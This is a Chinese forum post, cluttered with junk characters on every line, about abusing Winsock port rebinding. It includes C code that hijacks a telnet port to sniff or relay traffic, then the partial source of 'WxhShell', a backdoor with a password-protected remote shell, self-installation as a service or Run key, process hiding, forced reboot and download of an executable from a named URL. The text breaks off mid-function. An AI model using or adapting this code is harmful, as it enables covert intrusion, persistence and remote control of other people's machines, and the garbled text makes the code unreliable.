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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %9 -#`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .' N O~  
G &rYz  
  saddr.sin_family = AF_INET; 4f*Ua`E_  
p$b= r+1f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !ovZ>,1  
cJ(zidf_$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \dxW44sM  
pD}VB6=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _G}CD|Kx  
5(MZ%-~l  
  这意味着什么?意味着可以进行如下的攻击: \Q?|gfJH  
M\.T 0M_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [nPzh Xs  
h7W%}6Cqkw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f'i8Mm4IL  
]stLC; nI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g`5`KU|  
Uc4 L|:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GZhfA ;O,  
@IyH(J],h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }^ Ua  
4k&O-70y4^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !Bd* L~D  
CXP $bt}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cp~3Jm3  
IIt^e#s&  
  #include 4M<JfD  
  #include m|cWX"#g  
  #include neY=:9  
  #include    PHiX:0zT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LG@c)H74  
  int main() L};;o+5uJD  
  { Hb AMoow!  
  WORD wVersionRequested; MCrO]N($b  
  DWORD ret; 5vh"PlK`s  
  WSADATA wsaData; ao" ;5 m  
  BOOL val; b=QGbFf  
  SOCKADDR_IN saddr; ";Ig%]  
  SOCKADDR_IN scaddr; #ZnX6=;X  
  int err; x V 1Z&l  
  SOCKET s; 3_eml\CY  
  SOCKET sc; ?o(X0  
  int caddsize; b\Xu1>  
  HANDLE mt; uA/.4 b  
  DWORD tid;   <QoE_z`76  
  wVersionRequested = MAKEWORD( 2, 2 ); 7%"\DLA  
  err = WSAStartup( wVersionRequested, &wsaData ); uSQ>oi]  
  if ( err != 0 ) { @Jn:!8U0  
  printf("error!WSAStartup failed!\n"); w KMk|y>  
  return -1; Y/ac}q  
  } 7pI \`*7b  
  saddr.sin_family = AF_INET; LX?r=_\  
   0*:hm%g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G$kwc F'C  
NUNn[c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,ZP3F+XKb  
  saddr.sin_port = htons(23); O\8|niW|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I&NpN~AU  
  { .bBQhf.&"  
  printf("error!socket failed!\n"); zf;[nz  
  return -1; ONe!'a0  
  } `0G.Y  
  val = TRUE; d|?(c~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >8fz ?A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tDLk ZCP  
  { Qx,$)|_  
  printf("error!setsockopt failed!\n"); *=0r>]  
  return -1; eP)YJe 3  
  } ut5!2t$c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6ewOZ,"j"4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S{)n0/_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q|H cg|  
/,@v"mE7c!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tfKeo|DM"  
  { z&vms   
  ret=GetLastError(); Qu>zO!x  
  printf("error!bind failed!\n"); y=qo-v59'  
  return -1; n]fbV/ x  
  } 5eSTT#[+R  
  listen(s,2); sv6U%qV  
  while(1) DMxS-hl  
  { +G[HZ,FL  
  caddsize = sizeof(scaddr); |mE +f]7$  
  //接受连接请求 XM@i|AK M0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P$ dgO  
  if(sc!=INVALID_SOCKET) Z *<x  
  { E!~2\qKT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &b6@_C9  
  if(mt==NULL) 42LXL*-4  
  { j.N\U#3KK  
  printf("Thread Creat Failed!\n"); GGL4<P7  
  break; wfTv<WG,.E  
  } U+r#Y E.  
  } v9`B.(Ru  
  CloseHandle(mt); =bg&CZV T  
  } |Ge/|;.v`  
  closesocket(s); 3a)Q:#okD  
  WSACleanup(); R}6la.mQ  
  return 0; Tocdh.H|  
  }   n_&)VF#n(  
  DWORD WINAPI ClientThread(LPVOID lpParam) %s :  
  { H_=[~mJ  
  SOCKET ss = (SOCKET)lpParam; NEou2y+}  
  SOCKET sc; W#_gvW  
  unsigned char buf[4096]; vMdhNOU  
  SOCKADDR_IN saddr; V >uW|6  
  long num; fX$4TPy(h  
  DWORD val; -qP[$Q  
  DWORD ret; fQ_8{=<-&X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WCl;#=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o4'4H y  
  saddr.sin_family = AF_INET; X6*y/KG N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &r5%WRzpYT  
  saddr.sin_port = htons(23); +siNU#!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Y~T$Yj^  
  { [%,=0P}  
  printf("error!socket failed!\n"); PyxN_agf  
  return -1; .:!x*v  
  } -XIvj'u  
  val = 100; a&aIkD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'L59\y8H  
  { "v(]"L  
  ret = GetLastError(); `/ReJj&~  
  return -1; d4h(F,K7V  
  } )[X!/KR90  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zYF&Dv/u/  
  { )0d".Q|v4  
  ret = GetLastError(); +pViHOJu&V  
  return -1; (ai-n,y  
  } P(nHXVSUE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7^ {hn_%;  
  { #I~dv{RX  
  printf("error!socket connect failed!\n"); dB)hW'J?  
  closesocket(sc); ;~$ $WU  
  closesocket(ss); 5f@YrTO[@  
  return -1; Yn2^nT=8  
  } 78~V/L;@S2  
  while(1) 'p+QFT>Ca  
  { PxD}j 2Kd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7.rZ%1N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J3S+| x h~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -?`l<y(  
  num = recv(ss,buf,4096,0); |/\1nWD  
  if(num>0) $v@$oPmMj  
  send(sc,buf,num,0); 5nqdY*  
  else if(num==0) PlRs- %d  
  break; D c.WvUM  
  num = recv(sc,buf,4096,0); j =%-b]  
  if(num>0) k#NMD4(%O  
  send(ss,buf,num,0); cD@lor j  
  else if(num==0) pdqa)>$  
  break; aMg f6veM  
  } [m[~A|S  
  closesocket(ss); ?'m5)Z{  
  closesocket(sc); ^l9 *h  
  return 0 ; jV&W[xKa  
  } 1V$B^/_  
-"9)c^KVx  
zGz'2, o3  
========================================================== xm, yqM!0A  
>Mw =}g@P  
下边附上一个代码,,WXhSHELL #f;1f8yrN  
8&hn$~ate  
========================================================== Dohe(\C@  
QnLg P7Ft  
#include "stdafx.h" Z*"t]L  
MtTHKp   
#include <stdio.h> T sW6w  
#include <string.h> O[B_7  
#include <windows.h> <!XnUCtV  
#include <winsock2.h> luog_;{h+  
#include <winsvc.h> P,=J"%a-  
#include <urlmon.h> C)}LV  
g7f%(W 2dd  
#pragma comment (lib, "Ws2_32.lib") D|'Z c &  
#pragma comment (lib, "urlmon.lib") xi=uXxl  
_'dy$.g  
#define MAX_USER   100 // 最大客户端连接数 2+cicBD  
#define BUF_SOCK   200 // sock buffer lS*.?4zX  
#define KEY_BUFF   255 // 输入 buffer m?G+#k;K  
uxiX"0)g>  
#define REBOOT     0   // 重启 BTtYlpN6  
#define SHUTDOWN   1   // 关机 {j*+:Gj0V  
&Sp:?I-  
#define DEF_PORT   5000 // 监听端口 RW8u0 ?b  
<{Wa[1D  
#define REG_LEN     16   // 注册表键长度 R! xc $`N  
#define SVC_LEN     80   // NT服务名长度 4>`w9   
o;C)!  
// 从dll定义API Qnh1s u5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yE{UV>ry  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4zbV' ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); io_64K+K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >&Lu0oHH  
iPNs EQ0We  
// wxhshell配置信息 k rjd:*E  
struct WSCFG { baGI(Dk  
  int ws_port;         // 监听端口 !&%bl  
  char ws_passstr[REG_LEN]; // 口令 o!0a8i  
  int ws_autoins;       // 安装标记, 1=yes 0=no o|E(_ Y4d  
  char ws_regname[REG_LEN]; // 注册表键名 Kx!|4ya,  
  char ws_svcname[REG_LEN]; // 服务名 u)>*U'bM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c{ (%+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rn*VL(Yd(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IWnW(>V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D"5~-9<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MRu+:Y=K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1nG"\I5N}  
rVmO/Y#Hx$  
}; y%Ah"UY  
aKcV39brr  
// default Wxhshell configuration HXo'^^}q;  
struct WSCFG wscfg={DEF_PORT, 5|z[%x~f  
    "xuhuanlingzhe", $7g(-W  
    1, 6 VDF@V$E  
    "Wxhshell", 'o9V0#$!  
    "Wxhshell", 40/[ uW"  
            "WxhShell Service", Yy1Pipv  
    "Wrsky Windows CmdShell Service", ||NCVGJG  
    "Please Input Your Password: ", u{G6xuPWf  
  1, '11hIu=:  
  "http://www.wrsky.com/wxhshell.exe", Hb4rpAeP  
  "Wxhshell.exe" +O6@)?pI  
    }; BtZm_SeA  
"<b84?V5  
// 消息定义模块 Vdyx74xX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l).Ijl}AH;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B`Pi\1H6%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B)*%d7=x  
char *msg_ws_ext="\n\rExit."; Zwl?*t\D  
char *msg_ws_end="\n\rQuit."; Os+ =}  
char *msg_ws_boot="\n\rReboot..."; yB[ LO( i  
char *msg_ws_poff="\n\rShutdown..."; AP@d2{"m}  
char *msg_ws_down="\n\rSave to "; #}?$mxME*  
|V]E8Qt  
char *msg_ws_err="\n\rErr!"; f}3bYF  
char *msg_ws_ok="\n\rOK!"; dq&d>f1  
GrIdQi^8  
char ExeFile[MAX_PATH]; _: x$"i  
int nUser = 0; e&nw&9vo  
HANDLE handles[MAX_USER]; VNPd L  
int OsIsNt; 2YQ$hL~  
#{sb>^BF  
SERVICE_STATUS       serviceStatus; I`1=VC]^8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ 02e zG  
euK!JZ  
// 函数声明 K*[wr@)u  
int Install(void); ['j,S<Bu~  
int Uninstall(void); @,.H)\a4  
int DownloadFile(char *sURL, SOCKET wsh); dno*Usx5d0  
int Boot(int flag); ,B><la87  
void HideProc(void); 6 h):o  
int GetOsVer(void); iqYc&}k,  
int Wxhshell(SOCKET wsl); 54&2SU$kx  
void TalkWithClient(void *cs); f}4h}Cq  
int CmdShell(SOCKET sock); hG]20n2  
int StartFromService(void); !s:|Ddv  
int StartWxhshell(LPSTR lpCmdLine); :=@[FXD4  
aleIy}"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2{\Y<%.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V;=T~K|)>  
5E8P bV-l  
// 数据结构和表定义 zwS'AN'A  
SERVICE_TABLE_ENTRY DispatchTable[] = g!UM8I-$  
{ J4; ".Y=  
{wscfg.ws_svcname, NTServiceMain}, uOx$@1v,  
{NULL, NULL} !j@ 8:j0WY  
}; ap!<8N  
!)]3 @$#  
// 自我安装 A`Nb"N$H13  
int Install(void) 4g9VE;Gd  
{ up?8Pq*  
  char svExeFile[MAX_PATH];  'M{_S  
  HKEY key; wVTo7o%U  
  strcpy(svExeFile,ExeFile); 7Ll(,i<,C  
?a}~yz#B(  
// 如果是win9x系统,修改注册表设为自启动 BHYEd}M  
if(!OsIsNt) { 2o;M:+KQ)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +tF,E^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oh: -Y]m=  
  RegCloseKey(key); _{aVm&^kA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M 5h U.3.L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }sZ]SE  
  RegCloseKey(key); /k,p]/e  
  return 0; l=yO]a\QZ  
    } ADDpm-]  
  } as8<c4:v  
} 2},}R'aR  
else { $- L)>"  
\<%a`IA!*  
// 如果是NT以上系统,安装为系统服务 [+GG Wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f&|SGD*  
if (schSCManager!=0) 5P4 >xv[  
{ &nYmVwi?"Q  
  SC_HANDLE schService = CreateService LO229`ARr|  
  ( n3w2&  
  schSCManager, ;L7<mU  
  wscfg.ws_svcname, =}[V69a  
  wscfg.ws_svcdisp, |(fWT}tg  
  SERVICE_ALL_ACCESS, >=bO@)[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h4C B1K  
  SERVICE_AUTO_START, aw`mB,5U  
  SERVICE_ERROR_NORMAL, 2iu;7/  
  svExeFile,  O-k(5Zb  
  NULL, &'R]oeag  
  NULL, K67x.PZ  
  NULL, q0}LfXql8  
  NULL, LYKepk  
  NULL sf LBi~*j  
  ); UcZ3v]$I  
  if (schService!=0) 'D bHXS7N  
  { LQe<mZ<  
  CloseServiceHandle(schService); ]=/f`  
  CloseServiceHandle(schSCManager); _Z%C{~,7)x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8LL);"$  
  strcat(svExeFile,wscfg.ws_svcname); >9DgsA`'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AjpQb ~\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *KM CU m  
  RegCloseKey(key); P*}Oi7Z  
  return 0; 1/z1~:Il  
    } +MEWAW[}^  
  } SE\`JGA[  
  CloseServiceHandle(schSCManager); v1: 5 r  
} C1_NGOvT  
} 5ZPl`[He  
1\BECP+  
return 1; rpd3Rp  
} 3k=q>~& @  
X*b0qJ Z  
// 自我卸载 p|Ln;aYc  
int Uninstall(void) NXV%j},>  
{ 7 9Iz,_  
  HKEY key; e2;"> tp6?  
(\G~S 4  
if(!OsIsNt) { _K8-O>I "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 . @W.GG8  
  RegDeleteValue(key,wscfg.ws_regname); A;kB"Tx  
  RegCloseKey(key); mU*GcWbc+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? in&/ZrB  
  RegDeleteValue(key,wscfg.ws_regname); P iN3t]2  
  RegCloseKey(key); a*=e 3nS  
  return 0; ,}NG@JID  
  } #2pgh?  
} sbRg=k&Ns  
} `jJb) z3D  
else { :Qf^@TS}O  
P<bA~%<7"[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l|DOsI'r  
if (schSCManager!=0) X:DHz0S  
{ GovGh? X#x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8!1o,=I$  
  if (schService!=0) % R'eV<  
  { 3vy5JTCz~  
  if(DeleteService(schService)!=0) { j"f ]pzg&  
  CloseServiceHandle(schService); )%Y$F LB  
  CloseServiceHandle(schSCManager); ALFw[1X  
  return 0; <#c2Hg%jh  
  } 0^;{b^!(  
  CloseServiceHandle(schService); fUa`Y ryQ  
  } XVY^m}pMe  
  CloseServiceHandle(schSCManager); w^r*qi"  
} zFOX%q  
} bo]k9FC  
X[VQ 1  
return 1; __zsrIUJ  
} )sW1a  
<Wl! Qog'  
// 从指定url下载文件 k(s3~S2h  
int DownloadFile(char *sURL, SOCKET wsh) xa K:@/  
{ sR5dC_  
  HRESULT hr; /6>2,S8Ar  
char seps[]= "/"; 1aSuRa  
char *token; oI^iL\\2h  
char *file; thS#fO4]d  
char myURL[MAX_PATH]; *G=n${'  
char myFILE[MAX_PATH]; g|W~0A@D  
r8@:Ko= a  
strcpy(myURL,sURL); {D7!'Rq,  
  token=strtok(myURL,seps); E;%{hAD{  
  while(token!=NULL) 0O[q6!&]  
  { #u#s'W  
    file=token; Nz2}Ma 2  
  token=strtok(NULL,seps); ZV&=B%J bs  
  } %!WQ;(  
wLW!_D,/R  
GetCurrentDirectory(MAX_PATH,myFILE); }UX>O  
strcat(myFILE, "\\"); JBuorc  
strcat(myFILE, file); 1,4kw~tA  
  send(wsh,myFILE,strlen(myFILE),0); ,"&vhgYU  
send(wsh,"...",3,0); ] Qj65]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?vvjwys@  
  if(hr==S_OK) [j&>dE  
return 0; %uQ^mK  
else #B54p@.}  
return 1; F> ..eK  
WWD\EDnS  
} yfYAA*S!z  
sjztT<{Q^-  
// 系统电源模块 o6'`W2P  
int Boot(int flag) xJ,V !N  
{ t:W`=^  
  HANDLE hToken; cD7q;|+  
  TOKEN_PRIVILEGES tkp; $lUZm\R|k  
lxV> rmD  
  if(OsIsNt) { ^8B#-9Ph b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KWM.b"WnXr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nJrV  
    tkp.PrivilegeCount = 1; bD=_44I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AM\`v'I*6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Hzj-u&N/  
if(flag==REBOOT) { <` HLG2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'j>Q7M7q{  
  return 0; )0!hw|0|  
} _bFX(~37z?  
else { i |cSO2O+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XYf;72*  
  return 0; ?f:FmgQk  
} _^Rf*G!  
  } vfmKYiLp  
  else { c[ga@Vy  
if(flag==REBOOT) { ~G ,n>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Iy\K&)5?  
  return 0; Xq,{)G%9nM  
} h2K1|PUKl[  
else { =f?|f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u:<%!?  
  return 0; lfb]xu]O  
} J$@3,=L6V  
} !y `wAm>n  
,C!MHn^$  
return 1; n`;=^^B  
} "m(HQ5e)*  
=[3I#s?V  
// win9x进程隐藏模块 kznmA`#jn  
void HideProc(void) Tj@s\@hv  
{ B!yAam#^  
,"5Fw4G6*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O~Pb u[C  
  if ( hKernel != NULL ) xLX:>64'o>  
  { 6E85mfFS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ' !ZFK}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T^%$  
    FreeLibrary(hKernel); px" .pYr0  
  } S"V|BU  
J_<ENs-  
return; Tgc)'8A;BN  
} cT-XF  
c2-NXSjsW  
// 获取操作系统版本 gVEW*8  
int GetOsVer(void) [$ vAjP  
{ >Y!5c 2~`;  
  OSVERSIONINFO winfo; Ks7DoXCvE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {H=DeQ  
  GetVersionEx(&winfo); l0l2fwz(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X70G@-w  
  return 1; rK9X68)  
  else 2y`rS _2  
  return 0; lt`#or"o  
} BMgiXdv.B  
~f;d3dJ]/  
// 客户端句柄模块 58ev (f  
int Wxhshell(SOCKET wsl) v=RQ"iv8  
{ ^dM,K p  
  SOCKET wsh; zkA"2dh  
  struct sockaddr_in client; ;n?H/(6X8>  
  DWORD myID; z%<Z#5_N  
&J,MJ{w6"  
  while(nUser<MAX_USER) 2 <y!3OeN  
{ ]KBzuz%  
  int nSize=sizeof(client); 8fY1~\G:\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vdyLwBz:  
  if(wsh==INVALID_SOCKET) return 1; dX^OV$  
^`!5!|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]*'V#;s  
if(handles[nUser]==0) YQ:F Bj  
  closesocket(wsh); t H`!?  
else PVC\&YF  
  nUser++; QI0d:7!W1  
  } "d^hY}Xx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E %FCOKw_  
8*k#T\  
  return 0; "u@)   
} 82O#Fe q  
0B7cpw>_J  
// 关闭 socket .BuXg<`  
void CloseIt(SOCKET wsh) FFQ=<(Ki  
{ xPl+ rsU  
closesocket(wsh); =$`EB  
nUser--; :<=A1>&8  
ExitThread(0); U ]Ek 5p  
} k z"F4?,  
B{hP#bYK  
// 客户端请求句柄 Ei2hI  
void TalkWithClient(void *cs) RP?UKOc  
{ 60ccQ7=  
f| P%  
  SOCKET wsh=(SOCKET)cs; zUF%`CR  
  char pwd[SVC_LEN]; ?j6?KR@#  
  char cmd[KEY_BUFF]; yj13>"nh  
char chr[1]; ?`#)JG,A7  
int i,j; # xx{}g]%  
t2Q40' `  
  while (nUser < MAX_USER) { z~i=\/~tZ  
-!zyit5B  
if(wscfg.ws_passstr) { e@}zp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~M7 J{hK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?=}~]A5N  
  //ZeroMemory(pwd,KEY_BUFF); ]A+q:kP  
      i=0; f?}~$agc  
  while(i<SVC_LEN) { 2Z!%Q}Do  
,1J+3ugp&  
  // 设置超时 vN'Y);$  
  fd_set FdRead; ?0QoYA@.$  
  struct timeval TimeOut; wcDHx#~  
  FD_ZERO(&FdRead); )`<- c2  
  FD_SET(wsh,&FdRead); )L fXb9}  
  TimeOut.tv_sec=8; %%5K%z,R#  
  TimeOut.tv_usec=0; +o^b ,!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u2%/</]h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MY1s  
p^S]O\;M7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |wW_Z!fL  
  pwd=chr[0]; 9)N/J\b  
  if(chr[0]==0xd || chr[0]==0xa) { .hd<,\nW  
  pwd=0; = zJY5@^'7  
  break; UlF=,0P  
  } 9U$n;uA  
  i++; j{PuZ^v1  
    } o_C j o  
t F^|,9_<  
  // 如果是非法用户,关闭 socket eJD !dGa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Huzw>  
} Q%:#xG5AmE  
Sg;c|u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H~y 7o_tg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :j2G0vHIl(  
zOO:`^ m  
while(1) { ]"?+R+  
2@ 4^ 81  
  ZeroMemory(cmd,KEY_BUFF); AT.WXP0$A  
$!F_K  
      // 自动支持客户端 telnet标准   '!Gnr[aR  
  j=0; qo{2 CYG\+  
  while(j<KEY_BUFF) { QJ1_LJ4)a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u xif-5  
  cmd[j]=chr[0]; ,QW>M$g{  
  if(chr[0]==0xa || chr[0]==0xd) { g!%C_AI   
  cmd[j]=0; G,,c,  
  break; rWk4)+Tk  
  } @w:6m&KL9  
  j++; NgH"jg-  
    } *p )1c_  
p<%76H A  
  // 下载文件 U)mg]o-VE  
  if(strstr(cmd,"http://")) { =<~/U?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `}uOl C]I  
  if(DownloadFile(cmd,wsh)) _c| aRRW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e]N?{s   
  else tu(k"'aJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4'L%Wz[6  
  } G+Vlaa/7  
  else { O%:EPdoU  
1~X~"M  
    switch(cmd[0]) { h!#!}|Q'  
  +Ja9p  
  // 帮助 38(Cj~u=3  
  case '?': { 0>PO4WFVJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Z Ja}5k!r  
    break; ?Uz7($}  
  } 'J*)o<%  
  // 安装 pMJK?- )  
  case 'i': { ,1>ABz  
    if(Install()) X[pk9mha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qSj$0Hq5XI  
    else p_z_d6?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZUE?19GA  
    break; ^'"sFEV7RN  
    } T/8*c0mU  
  // 卸载 9n][#I)a3  
  case 'r': {  &gIDcZ  
    if(Uninstall()) f#9DU}2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \gd.Bl  
    else _Se~bkw?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -t28"jyj  
    break; 'W0?XaEk-  
    } ~c8Z9[QW  
  // 显示 wxhshell 所在路径 K]q9wR'q  
  case 'p': { _VIVZ2mU=  
    char svExeFile[MAX_PATH]; ep]tio_  
    strcpy(svExeFile,"\n\r"); q!l[^t|;  
      strcat(svExeFile,ExeFile); ==d@0`  
        send(wsh,svExeFile,strlen(svExeFile),0); K%TlBK V  
    break; dL9QYIfP  
    } hGc')  
  // 重启 {. r/tV5IH  
  case 'b': { N?j,'gy4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tmAc=?|Wa  
    if(Boot(REBOOT)) q#W7.8 Z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RU`m|<  
    else { ~ ;aSE  
    closesocket(wsh); neC]\B[Xm  
    ExitThread(0); e<|'   
    } enu",wC3  
    break; [&mYW.O<  
